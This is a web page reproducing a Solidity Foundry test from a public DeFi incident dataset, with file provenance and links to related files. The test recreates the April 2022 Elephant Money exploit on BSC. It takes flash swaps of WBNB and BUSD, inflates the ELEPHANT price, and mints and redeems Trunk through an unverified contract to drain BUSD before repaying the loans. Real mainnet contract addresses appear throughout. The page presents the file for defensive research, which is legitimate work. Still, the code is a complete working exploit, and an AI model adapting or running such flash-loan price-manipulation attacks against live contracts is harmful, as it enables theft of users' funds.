Public reproduction file
src/test/2022-04/Elephant_Money_exp.sol
Public reproduction file for dataset entry ElephantMoney.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2//Credit: W2Ning3pragma solidity 0.8.10;5import "forge-std/Test.sol";6import "./../interface.sol";8contract ContractTest is Test {9 IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));11 address public BUSD_USDT_Pair = 0x7EFaEf62fDdCCa950418312c6C91Aef321375A00;13 address public elephant_wbnb_Pair = 0x1CEa83EC5E48D9157fCAe27a19807BeF79195Ce1;15 address public BUSDT_WBNB_Pair = 0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE;17 address[] path_1 = [0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c, 0xE283D0e3B8c102BAdF5E8166B73E02D96d92F688];19 address[] path_2 = [0xE283D0e3B8c102BAdF5E8166B73E02D96d92F688, 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c];21 address[] path_3 = [0xdd325C38b12903B727D16961e61333f4871A70E0, 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56];23 address[] path_4 = [0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c, 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56];25 IERC20 busd = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);27 IERC20 elephant = IERC20(0xE283D0e3B8c102BAdF5E8166B73E02D96d92F688);29 IERC20 Trunk = IERC20(0xdd325C38b12903B727D16961e61333f4871A70E0);31 IRouter router = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);33 InotVerified not_verified = InotVerified(0xD520a3B47E42a1063617A9b6273B206a07bDf834);34 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);36 constructor() {37 cheats.createSelectFork("bsc", 16_886_438); // fork bsc block number 1688643839 elephant.approve(address(router), type(uint256).max);41 Trunk.approve(address(router), type(uint256).max);43 Trunk.approve(address(not_verified), type(uint256).max);45 busd.approve(address(not_verified), type(uint256).max);47 wbnb.approve(address(router), type(uint256).max);48 }50 function testExploit() public {51 IPancakePair(BUSDT_WBNB_Pair).swap(0, 100_000 ether, address(this), "0x00");52 }54 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {55 sender;56 data;57 amount0;58 amount1;60 if (msg.sender == BUSDT_WBNB_Pair) {61 IPancakePair(BUSD_USDT_Pair).swap(0, 90_000_000 ether, address(this), "0x00");62 } else {63 attack();64 }65 }67 function attack() public {68 wbnb.withdraw(100_000 ether);70 router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: 100_000 ether}(71 0, path_1, address(this), block.timestamp72 );74 uint256 balance_elephant = elephant.balanceOf(address(this));76 emit log_named_uint("The elephant after swapping", balance_elephant / 1e9);78 not_verified.mint(90_000_000 ether);80 uint256 balance_Trunk = Trunk.balanceOf(address(this));82 emit log_named_uint("The Trunk after minting", balance_Trunk / 1e18);84 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(85 balance_elephant, 0, path_2, address(this), block.timestamp86 );88 emit log_named_uint("The WBNB Balance after swaping", wbnb.balanceOf(address(this)) / 1e18);90 balance_Trunk = Trunk.balanceOf(address(this));92 not_verified.redeem(balance_Trunk);94 emit log_named_uint("The BUSD after redeeming", busd.balanceOf(address(this)) / 1e18);96 uint256 b3 = elephant.balanceOf(address(this));98 emit log_named_uint("The elephant after redeeming", b3 / 1e9);100 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(b3, 0, path_2, address(this), block.timestamp);102 emit log_named_uint("The WBNB Balance before paying back", wbnb.balanceOf(address(this)) / 1e18);104 wbnb.transfer(BUSDT_WBNB_Pair, 100_300 ether);106 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(107 wbnb.balanceOf(address(this)), 0, path_4, address(this), block.timestamp108 );110 emit log_named_uint("The BUSD before paying back", busd.balanceOf(address(this)) / 1e18);112 busd.transfer(BUSD_USDT_Pair, 90_300_000 ether);114 emit log_named_uint("The BUSD after paying back", busd.balanceOf(address(this)) / 1e18);115 }117 receive() external payable {}118}Analysis
Dataset entry
Public Foundry test for “ElephantMoney” (2022-04-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
10 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-04/AkutarNFT_exp.solSame month in the dataset · 69 lines
- src/test/2022-04/Beanstalk_exp.solSame month in the dataset · 145 lines
- src/test/2022-04/cftoken_exp.solSame month in the dataset · 46 lines
- src/test/2022-04/deus_exp.solSame month in the dataset · 157 lines
- src/test/2022-04/Gym_1_exp.solSame month in the dataset · 74 lines
- src/test/2022-04/Rari_exp.solSame month in the dataset · 102 lines
- src/test/2022-04/Rikkei_exp.solSame month in the dataset · 48 lines
- src/test/2022-04/Saddle_exp.solSame month in the dataset · 91 lines
- src/test/2022-04/Wdoge_exp.solSame month in the dataset · 38 lines
- src/test/2022-04/Zeed_exp.solSame month in the dataset · 51 lines
File record
- Name
- ElephantMoney
- Path
- src/test/2022-04/Elephant_Money_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 343500f2958e9e69076335d01eafe92e98ddee1a
- Language
- Solidity
- Size
- 119 lines
- Date
- 2022-04-12
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-04/Elephant_Money_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 343500f2958e9e69076335d01eafe92e98ddee1a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.